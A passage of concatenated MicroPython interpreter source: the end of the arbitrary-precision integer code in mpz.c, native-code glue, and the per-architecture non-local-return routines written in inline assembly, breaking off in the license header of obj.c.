= mpz_clone(z1); mpz_t *b = mpz_clone(z2); mpz_t c; mpz_init_zero(&c); a->neg = 0; b->neg = 0; for (;;) { if (mpz_cmp(a, b) < 0) { if (a->len == 0) { mpz_free(a); mpz_deinit(&c); return b; } mpz_t *t = a; a = b; b = t; } if (!(b->len >= 2 || (b->len == 1 && b->dig[0] > 1))) { // compute b > 0; could be mpz_cmp_small_int(b, 1) > 0 break; } mpz_set(&c, b); do { mpz_add_inpl(&c, &c, &c); } while (mpz_cmp(&c, a) <= 0); c.len = mpn_shr(c.dig, c.dig, c.len, 1); mpz_sub_inpl(a, a, &c); } mpz_deinit(&c); if (b->len == 1 && b->dig[0] == 1) { // compute b == 1; could be mpz_cmp_small_int(b, 1) == 0 mpz_free(a); return b; } else { mpz_free(b); return a; } } /* computes lcm(z1, z2) = abs(z1) / gcd(z1, z2) * abs(z2) lcm(z1, z1) >= 0 lcm(0, 0) = 0 lcm(z, 0) = 0 */ mpz_t *mpz_lcm(const mpz_t *z1, const mpz_t *z2) { if (z1->len == 0 || z2->len == 0) { return mpz_zero(); } mpz_t *gcd = mpz_gcd(z1, z2); mpz_t *quo = mpz_zero(); mpz_t *rem = mpz_zero(); mpz_divmod_inpl(quo, rem, z1, gcd); mpz_mul_inpl(rem, quo, z2); mpz_free(gcd); mpz_free(quo); rem->neg = 0; return rem; } #endif /* computes new integers in quo and rem such that: quo * rhs + rem = lhs 0 <= rem < rhs can have lhs, rhs the same assumes rhs != 0 (undefined behaviour if it is) */ void mpz_divmod_inpl(mpz_t *dest_quo, mpz_t *dest_rem, const mpz_t *lhs, const mpz_t *rhs) { assert(!mpz_is_zero(rhs)); mpz_need_dig(dest_quo, lhs->len + 1); // +1 necessary? memset(dest_quo->dig, 0, (lhs->len + 1) * sizeof(mpz_dig_t)); dest_quo->len = 0; mpz_need_dig(dest_rem, lhs->len + 1); // +1 necessary? mpz_set(dest_rem, lhs); mpn_div(dest_rem->dig, &dest_rem->len, rhs->dig, rhs->len, dest_quo->dig, &dest_quo->len); // check signs and do Python style modulo if (lhs->neg != rhs->neg) { dest_quo->neg = 1; if (!mpz_is_zero(dest_rem)) { mpz_t mpzone; mpz_init_from_int(&mpzone, -1); mpz_add_inpl(dest_quo, dest_quo, &mpzone); mpz_add_inpl(dest_rem, dest_rem, rhs); } } } #if 0 these functions are unused /* computes floor(lhs / rhs) can have lhs, rhs the same */ mpz_t *mpz_div(const mpz_t *lhs, const mpz_t *rhs) { mpz_t *quo = mpz_zero(); mpz_t rem; mpz_init_zero(&rem); mpz_divmod_inpl(quo, &rem, lhs, rhs); mpz_deinit(&rem); return quo; } /* computes lhs % rhs ( >= 0) can have lhs, rhs the same */ mpz_t *mpz_mod(const mpz_t *lhs, const mpz_t *rhs) { mpz_t quo; mpz_init_zero(&quo); mpz_t *rem = mpz_zero(); mpz_divmod_inpl(&quo, rem, lhs, rhs); mpz_deinit(&quo); return rem; } #endif // must return actual int value if it fits in mp_int_t mp_int_t mpz_hash(const mpz_t *z) { mp_int_t val = 0; mpz_dig_t *d = z->dig + z->len; while (d-- > z->dig) { val = (val << DIG_SIZE) | *d; } if (z->neg != 0) { val = -val; } return val; } bool mpz_as_int_checked(const mpz_t *i, mp_int_t *value) { mp_uint_t val = 0; mpz_dig_t *d = i->dig + i->len; while (d-- > i->dig) { if (val > (~(WORD_MSBIT_HIGH) >> DIG_SIZE)) { // will overflow return false; } val = (val << DIG_SIZE) | *d; } if (i->neg != 0) { val = -val; } *value = val; return true; } bool mpz_as_uint_checked(const mpz_t *i, mp_uint_t *value) { if (i->neg != 0) { // can't represent signed values return false; } mp_uint_t val = 0; mpz_dig_t *d = i->dig + i->len; while (d-- > i->dig) { if (val > (~(WORD_MSBIT_HIGH) >> (DIG_SIZE - 1))) { // will overflow return false; } val = (val << DIG_SIZE) | *d; } *value = val; return true; } // writes at most len bytes to buf (so buf should be zeroed before calling) void mpz_as_bytes(const mpz_t *z, bool big_endian, size_t len, byte *buf) { byte *b = buf; if (big_endian) { b += len; } mpz_dig_t *zdig = z->dig; int bits = 0; mpz_dbl_dig_t d = 0; mpz_dbl_dig_t carry = 1; for (size_t zlen = z->len; zlen > 0; --zlen) { bits += DIG_SIZE; d = (d << DIG_SIZE) | *zdig++; for (; bits >= 8; bits -= 8, d >>= 8) { mpz_dig_t val = d; if (z->neg) { val = (~val & 0xff) + carry; carry = val >> 8; } if (big_endian) { *--b = val; if (b == buf) { return; } } else { *b++ = val; if (b == buf + len) { return; } } } } } #if MICROPY_PY_BUILTINS_FLOAT mp_float_t mpz_as_float(const mpz_t *i) { mp_float_t val = 0; mpz_dig_t *d = i->dig + i->len; while (d-- > i->dig) { val = val * DIG_BASE + *d; } if (i->neg != 0) { val = -val; } return val; } #endif #if 0 this function is unused char *mpz_as_str(const mpz_t *i, unsigned int base) { char *s = m_new(char, mp_int_format_size(mpz_max_num_bits(i), base, NULL, '\0')); mpz_as_str_inpl(i, base, NULL, 'a', '\0', s); return s; } #endif // assumes enough space as calculated by mp_int_format_size // returns length of string, not including null byte size_t mpz_as_str_inpl(const mpz_t *i, unsigned int base, const char *prefix, char base_char, char comma, char *str) { if (str == NULL) { return 0; } if (base < 2 || base > 32) { str[0] = 0; return 0; } size_t ilen = i->len; char *s = str; if (ilen == 0) { if (prefix) { while (*prefix) *s++ = *prefix++; } *s++ = '0'; *s = '\0'; return s - str; } // make a copy of mpz digits, so we can do the div/mod calculation mpz_dig_t *dig = m_new(mpz_dig_t, ilen); memcpy(dig, i->dig, ilen * sizeof(mpz_dig_t)); // convert char *last_comma = str; bool done; do { mpz_dig_t *d = dig + ilen; mpz_dbl_dig_t a = 0; // compute next remainder while (--d >= dig) { a = (a << DIG_SIZE) | *d; *d = a / base; a %= base; } // convert to character a += '0'; if (a > '9') { a += base_char - '9' - 1; } *s++ = a; // check if number is zero done = true; for (d = dig; d < dig + ilen; ++d) { if (*d != 0) { done = false; break; } } if (comma && (s - last_comma) == 3) { *s++ = comma; last_comma = s; } } while (!done); // free the copy of the digits array m_del(mpz_dig_t, dig, ilen); if (prefix) { const char *p = &prefix[strlen(prefix)]; while (p > prefix) { *s++ = *--p; } } if (i->neg != 0) { *s++ = '-'; } // reverse string for (char *u = str, *v = s - 1; u < v; ++u, --v) { char temp = *u; *u = *v; *v = temp; } *s = '\0'; // null termination return s - str; } #endif // MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ ================================================ FILE: micropython/source/py/nativeglue.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/nlr.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/emitglue.h" #include "py/bc.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_printf DEBUG_printf #else // don't print debugging info #define DEBUG_printf(...) (void)0 #endif #if MICROPY_EMIT_NATIVE // convert a MicroPython object to a valid native value based on type mp_uint_t mp_convert_obj_to_native(mp_obj_t obj, mp_uint_t type) { DEBUG_printf("mp_convert_obj_to_native(%p, " UINT_FMT ")\n", obj, type); switch (type & 0xf) { case MP_NATIVE_TYPE_OBJ: return (mp_uint_t)obj; case MP_NATIVE_TYPE_BOOL: case MP_NATIVE_TYPE_INT: case MP_NATIVE_TYPE_UINT: return mp_obj_get_int_truncated(obj); default: { // cast obj to a pointer mp_buffer_info_t bufinfo; if (mp_get_buffer(obj, &bufinfo, MP_BUFFER_RW)) { return (mp_uint_t)bufinfo.buf; } else { // assume obj is an integer that represents an address return mp_obj_get_int_truncated(obj); } } } } #endif #if MICROPY_EMIT_NATIVE || MICROPY_EMIT_INLINE_ASM // convert a native value to a MicroPython object based on type mp_obj_t mp_convert_native_to_obj(mp_uint_t val, mp_uint_t type) { DEBUG_printf("mp_convert_native_to_obj(" UINT_FMT ", " UINT_FMT ")\n", val, type); switch (type & 0xf) { case MP_NATIVE_TYPE_OBJ: return (mp_obj_t)val; case MP_NATIVE_TYPE_BOOL: return mp_obj_new_bool(val); case MP_NATIVE_TYPE_INT: return mp_obj_new_int(val); case MP_NATIVE_TYPE_UINT: return mp_obj_new_int_from_uint(val); default: // a pointer // we return just the value of the pointer as an integer return mp_obj_new_int_from_uint(val); } } #endif #if MICROPY_EMIT_NATIVE // wrapper that accepts n_args and n_kw in one argument // (native emitter can only pass at most 3 arguments to a function) mp_obj_t mp_native_call_function_n_kw(mp_obj_t fun_in, size_t n_args_kw, const mp_obj_t *args) { return mp_call_function_n_kw(fun_in, n_args_kw & 0xff, (n_args_kw >> 8) & 0xff, args); } // wrapper that makes raise obj and raises it // END_FINALLY opcode requires that we don't raise if o==None void mp_native_raise(mp_obj_t o) { if (o != mp_const_none) { nlr_raise(mp_make_raise_obj(o)); } } // wrapper that handles iterator buffer STATIC mp_obj_t mp_native_getiter(mp_obj_t obj, mp_obj_iter_buf_t *iter) { if (iter == NULL) { return mp_getiter(obj, NULL); } else { obj = mp_getiter(obj, iter); if (obj != MP_OBJ_FROM_PTR(iter)) { // Iterator didn't use the stack so indicate that with MP_OBJ_NULL. iter->base.type = MP_OBJ_NULL; iter->buf[0] = obj; } return NULL; } } // wrapper that handles iterator buffer STATIC mp_obj_t mp_native_iternext(mp_obj_iter_buf_t *iter) { mp_obj_t obj; if (iter->base.type == MP_OBJ_NULL) { obj = iter->buf[0]; } else { obj = MP_OBJ_FROM_PTR(iter); } return mp_iternext(obj); } // these must correspond to the respective enum in runtime0.h void *const mp_fun_table[MP_F_NUMBER_OF] = { mp_convert_obj_to_native, mp_convert_native_to_obj, mp_load_name, mp_load_global, mp_load_build_class, mp_load_attr, mp_load_method, mp_load_super_method, mp_store_name, mp_store_global, mp_store_attr, mp_obj_subscr, mp_obj_is_true, mp_unary_op, mp_binary_op, mp_obj_new_tuple, mp_obj_new_list, mp_obj_list_append, mp_obj_new_dict, mp_obj_dict_store, #if MICROPY_PY_BUILTINS_SET mp_obj_new_set, mp_obj_set_store, #endif mp_make_function_from_raw_code, mp_native_call_function_n_kw, mp_call_method_n_kw, mp_call_method_n_kw_var, mp_native_getiter, mp_native_iternext, nlr_push, nlr_pop, mp_native_raise, mp_import_name, mp_import_from, mp_import_all, #if MICROPY_PY_BUILTINS_SLICE mp_obj_new_slice, #endif mp_unpack_sequence, mp_unpack_ex, mp_delete_name, mp_delete_global, mp_obj_new_cell, mp_make_closure_from_raw_code, mp_setup_code_state, }; /* void mp_f_vector(mp_fun_kind_t fun_kind) { (mp_f_table[fun_kind])(); } */ #endif // MICROPY_EMIT_NATIVE ================================================ FILE: micropython/source/py/nlrsetjmp.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/nlr.h" #if MICROPY_NLR_SETJMP void nlr_setjmp_jump(void *val) { nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top); nlr_buf_t *top = *top_ptr; if (top == NULL) { nlr_jump_fail(val); } top->ret_val = val; *top_ptr = top->prev; longjmp(top->jmpbuf, 1); } #endif ================================================ FILE: micropython/source/py/nlrthumb.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpstate.h" #include "py/nlr.h" #if (!defined(MICROPY_NLR_SETJMP) || !MICROPY_NLR_SETJMP) && (defined(__thumb2__) || defined(__thumb__) || defined(__arm__)) #undef nlr_push // We only need the functions here if we are on arm/thumb, and we are not // using setjmp/longjmp. // // For reference, arm/thumb callee save regs are: // r4-r11, r13=sp __attribute__((naked)) unsigned int nlr_push(nlr_buf_t *nlr) { __asm volatile ( "str r4, [r0, #12] \n" // store r4 into nlr_buf "str r5, [r0, #16] \n" // store r5 into nlr_buf "str r6, [r0, #20] \n" // store r6 into nlr_buf "str r7, [r0, #24] \n" // store r7 into nlr_buf #if defined(__ARM_ARCH_6M__) "mov r1, r8 \n" "str r1, [r0, #28] \n" // store r8 into nlr_buf "mov r1, r9 \n" "str r1, [r0, #32] \n" // store r9 into nlr_buf "mov r1, r10 \n" "str r1, [r0, #36] \n" // store r10 into nlr_buf "mov r1, r11 \n" "str r1, [r0, #40] \n" // store r11 into nlr_buf "mov r1, r13 \n" "str r1, [r0, #44] \n" // store r13=sp into nlr_buf "mov r1, lr \n" "str r1, [r0, #8] \n" // store lr into nlr_buf #else "str r8, [r0, #28] \n" // store r8 into nlr_buf "str r9, [r0, #32] \n" // store r9 into nlr_buf "str r10, [r0, #36] \n" // store r10 into nlr_buf "str r11, [r0, #40] \n" // store r11 into nlr_buf "str r13, [r0, #44] \n" // store r13=sp into nlr_buf "str lr, [r0, #8] \n" // store lr into nlr_buf #endif #if defined(__ARM_ARCH_6M__) "ldr r1, nlr_push_tail_var \n" "bx r1 \n" // do the rest in C ".align 2 \n" "nlr_push_tail_var: .word nlr_push_tail \n" #else "b nlr_push_tail \n" // do the rest in C #endif ); return 0; // needed to silence compiler warning } __attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr) { nlr_buf_t **top = &MP_STATE_THREAD(nlr_top); nlr->prev = *top; *top = nlr; return 0; // normal return } void nlr_pop(void) { nlr_buf_t **top = &MP_STATE_THREAD(nlr_top); *top = (*top)->prev; } NORETURN __attribute__((naked)) void nlr_jump(void *val) { nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top); nlr_buf_t *top = *top_ptr; if (top == NULL) { nlr_jump_fail(val); } top->ret_val = val; *top_ptr = top->prev; __asm volatile ( "mov r0, %0 \n" // r0 points to nlr_buf "ldr r4, [r0, #12] \n" // load r4 from nlr_buf "ldr r5, [r0, #16] \n" // load r5 from nlr_buf "ldr r6, [r0, #20] \n" // load r6 from nlr_buf "ldr r7, [r0, #24] \n" // load r7 from nlr_buf #if defined(__ARM_ARCH_6M__) "ldr r1, [r0, #28] \n" // load r8 from nlr_buf "mov r8, r1 \n" "ldr r1, [r0, #32] \n" // load r9 from nlr_buf "mov r9, r1 \n" "ldr r1, [r0, #36] \n" // load r10 from nlr_buf "mov r10, r1 \n" "ldr r1, [r0, #40] \n" // load r11 from nlr_buf "mov r11, r1 \n" "ldr r1, [r0, #44] \n" // load r13=sp from nlr_buf "mov r13, r1 \n" "ldr r1, [r0, #8] \n" // load lr from nlr_buf "mov lr, r1 \n" #else "ldr r8, [r0, #28] \n" // load r8 from nlr_buf "ldr r9, [r0, #32] \n" // load r9 from nlr_buf "ldr r10, [r0, #36] \n" // load r10 from nlr_buf "ldr r11, [r0, #40] \n" // load r11 from nlr_buf "ldr r13, [r0, #44] \n" // load r13=sp from nlr_buf "ldr lr, [r0, #8] \n" // load lr from nlr_buf #endif "movs r0, #1 \n" // return 1, non-local return "bx lr \n" // return : // output operands : "r"(top) // input operands : // clobbered registers ); for (;;); // needed to silence compiler warning } #endif // (!defined(MICROPY_NLR_SETJMP) || !MICROPY_NLR_SETJMP) && (defined(__thumb2__) || defined(__thumb__) || defined(__arm__)) ================================================ FILE: micropython/source/py/nlrx64.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpstate.h" #include "py/nlr.h" #if !MICROPY_NLR_SETJMP && defined(__x86_64__) #undef nlr_push // x86-64 callee-save registers are: // rbx, rbp, rsp, r12, r13, r14, r15 #define NLR_OS_WINDOWS (defined(_WIN32) || defined(__CYGWIN__)) __attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr); unsigned int nlr_push(nlr_buf_t *nlr) { (void)nlr; #if NLR_OS_WINDOWS __asm volatile ( "movq (%rsp), %rax \n" // load return %rip "movq %rax, 16(%rcx) \n" // store %rip into nlr_buf "movq %rbp, 24(%rcx) \n" // store %rbp into nlr_buf "movq %rsp, 32(%rcx) \n" // store %rsp into nlr_buf "movq %rbx, 40(%rcx) \n" // store %rbx into nlr_buf "movq %r12, 48(%rcx) \n" // store %r12 into nlr_buf "movq %r13, 56(%rcx) \n" // store %r13 into nlr_buf "movq %r14, 64(%rcx) \n" // store %r14 into nlr_buf "movq %r15, 72(%rcx) \n" // store %r15 into nlr_buf "movq %rdi, 80(%rcx) \n" // store %rdr into nlr_buf "movq %rsi, 88(%rcx) \n" // store %rsi into nlr_buf "jmp nlr_push_tail \n" // do the rest in C ); #else __asm volatile ( #if defined(__APPLE__) || defined(__MACH__) "pop %rbp \n" // undo function's prelude #endif "movq (%rsp), %rax \n" // load return %rip "movq %rax, 16(%rdi) \n" // store %rip into nlr_buf "movq %rbp, 24(%rdi) \n" // store %rbp into nlr_buf "movq %rsp, 32(%rdi) \n" // store %rsp into nlr_buf "movq %rbx, 40(%rdi) \n" // store %rbx into nlr_buf "movq %r12, 48(%rdi) \n" // store %r12 into nlr_buf "movq %r13, 56(%rdi) \n" // store %r13 into nlr_buf "movq %r14, 64(%rdi) \n" // store %r14 into nlr_buf "movq %r15, 72(%rdi) \n" // store %r15 into nlr_buf #if defined(__APPLE__) || defined(__MACH__) "jmp _nlr_push_tail \n" // do the rest in C #else "jmp nlr_push_tail \n" // do the rest in C #endif ); #endif return 0; // needed to silence compiler warning } __attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr) { nlr_buf_t **top = &MP_STATE_THREAD(nlr_top); nlr->prev = *top; *top = nlr; return 0; // normal return } void nlr_pop(void) { nlr_buf_t **top = &MP_STATE_THREAD(nlr_top); *top = (*top)->prev; } NORETURN void nlr_jump(void *val) { nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top); nlr_buf_t *top = *top_ptr; if (top == NULL) { nlr_jump_fail(val); } top->ret_val = val; *top_ptr = top->prev; __asm volatile ( "movq %0, %%rcx \n" // %rcx points to nlr_buf #if NLR_OS_WINDOWS "movq 88(%%rcx), %%rsi \n" // load saved %rsi "movq 80(%%rcx), %%rdi \n" // load saved %rdr #endif "movq 72(%%rcx), %%r15 \n" // load saved %r15 "movq 64(%%rcx), %%r14 \n" // load saved %r14 "movq 56(%%rcx), %%r13 \n" // load saved %r13 "movq 48(%%rcx), %%r12 \n" // load saved %r12 "movq 40(%%rcx), %%rbx \n" // load saved %rbx "movq 32(%%rcx), %%rsp \n" // load saved %rsp "movq 24(%%rcx), %%rbp \n" // load saved %rbp "movq 16(%%rcx), %%rax \n" // load saved %rip "movq %%rax, (%%rsp) \n" // store saved %rip to stack "xorq %%rax, %%rax \n" // clear return register "inc %%al \n" // increase to make 1, non-local return "ret \n" // return : // output operands : "r"(top) // input operands : // clobbered registers ); for (;;); // needed to silence compiler warning } #endif // !MICROPY_NLR_SETJMP && defined(__x86_64__) ================================================ FILE: micropython/source/py/nlrx86.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpconfig.h" #include "py/mpstate.h" #include "py/nlr.h" #if !MICROPY_NLR_SETJMP && defined(__i386__) #undef nlr_push // For reference, x86 callee save regs are: // ebx, esi, edi, ebp, esp, eip #define NLR_OS_WINDOWS (defined(_WIN32) || defined(__CYGWIN__)) #if NLR_OS_WINDOWS unsigned int nlr_push_tail(nlr_buf_t *nlr) asm("nlr_push_tail"); #else __attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr); #endif unsigned int nlr_push(nlr_buf_t *nlr) { (void)nlr; __asm volatile ( // Check for Zephyr, which uses a different calling convention // by default. // TODE: Better support for various x86 calling conventions // (unfortunately, __attribute__((naked)) is not supported on x86). #ifndef __ZEPHYR__ "pop %ebp \n" // undo function's prelude #endif "mov 4(%esp), %edx \n" // load nlr_buf "mov (%esp), %eax \n" // load return %eip "mov %eax, 8(%edx) \n" // store %eip into nlr_buf "mov %ebp, 12(%edx) \n" // store %ebp into nlr_buf "mov %esp, 16(%edx) \n" // store %esp into nlr_buf "mov %ebx, 20(%edx) \n" // store %ebx into nlr_buf "mov %edi, 24(%edx) \n" // store %edi into nlr_buf "mov %esi, 28(%edx) \n" // store %esi into nlr_buf "jmp nlr_push_tail \n" // do the rest in C ); return 0; // needed to silence compiler warning } __attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr) { nlr_buf_t **top = &MP_STATE_THREAD(nlr_top); nlr->prev = *top; *top = nlr; return 0; // normal return } void nlr_pop(void) { nlr_buf_t **top = &MP_STATE_THREAD(nlr_top); *top = (*top)->prev; } NORETURN void nlr_jump(void *val) { nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top); nlr_buf_t *top = *top_ptr; if (top == NULL) { nlr_jump_fail(val); } top->ret_val = val; *top_ptr = top->prev; __asm volatile ( "mov %0, %%edx \n" // %edx points to nlr_buf "mov 28(%%edx), %%esi \n" // load saved %esi "mov 24(%%edx), %%edi \n" // load saved %edi "mov 20(%%edx), %%ebx \n" // load saved %ebx "mov 16(%%edx), %%esp \n" // load saved %esp "mov 12(%%edx), %%ebp \n" // load saved %ebp "mov 8(%%edx), %%eax \n" // load saved %eip "mov %%eax, (%%esp) \n" // store saved %eip to stack "xor %%eax, %%eax \n" // clear return register "inc %%al \n" // increase to make 1, non-local return "ret \n" // return : // output operands : "r"(top) // input operands : // clobbered registers ); for (;;); // needed to silence compiler warning } #endif // !MICROPY_NLR_SETJMP && defined(__i386__) ================================================ FILE: micropython/source/py/nlrxtensa.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014-2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpstate.h" #include "py/nlr.h" #if !MICROPY_NLR_SETJMP && defined(__xtensa__) #undef nlr_push // Xtensa calling conventions: // a0 = return address // a1 = stack pointer // a2 = first arg, return value // a3-a7 = rest of args unsigned int nlr_push(nlr_buf_t *nlr) { __asm volatile ( "s32i.n a0, a2, 8 \n" // save regs... "s32i.n a1, a2, 12 \n" "s32i.n a8, a2, 16 \n" "s32i.n a9, a2, 20 \n" "s32i.n a10, a2, 24 \n" "s32i.n a11, a2, 28 \n" "s32i.n a12, a2, 32 \n" "s32i.n a13, a2, 36 \n" "s32i.n a14, a2, 40 \n" "s32i.n a15, a2, 44 \n" "j nlr_push_tail \n" // do the rest in C ); return 0; // needed to silence compiler warning } __attribute__((used)) unsigned int nlr_push_tail(nlr_buf_t *nlr) { nlr_buf_t **top = &MP_STATE_THREAD(nlr_top); nlr->prev = *top; *top = nlr; return 0; // normal return } void nlr_pop(void) { nlr_buf_t **top = &MP_STATE_THREAD(nlr_top); *top = (*top)->prev; } NORETURN void nlr_jump(void *val) { nlr_buf_t **top_ptr = &MP_STATE_THREAD(nlr_top); nlr_buf_t *top = *top_ptr; if (top == NULL) { nlr_jump_fail(val); } top->ret_val = val; *top_ptr = top->prev; __asm volatile ( "mov.n a2, %0 \n" // a2 points to nlr_buf "l32i.n a0, a2, 8 \n" // restore regs... "l32i.n a1, a2, 12 \n" "l32i.n a8, a2, 16 \n" "l32i.n a9, a2, 20 \n" "l32i.n a10, a2, 24 \n" "l32i.n a11, a2, 28 \n" "l32i.n a12, a2, 32 \n" "l32i.n a13, a2, 36 \n" "l32i.n a14, a2, 40 \n" "l32i.n a15, a2, 44 \n" "movi.n a2, 1 \n" // return 1, non-local return "ret.n \n" // return : // output operands : "r"(top) // input operands : // clobbered registers ); for (;;); // needed to silence compiler warning } #endif // !MICROPY_NLR_SETJMP && defined(__xtensa__) ================================================ FILE: micropython/source/py/obj.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY 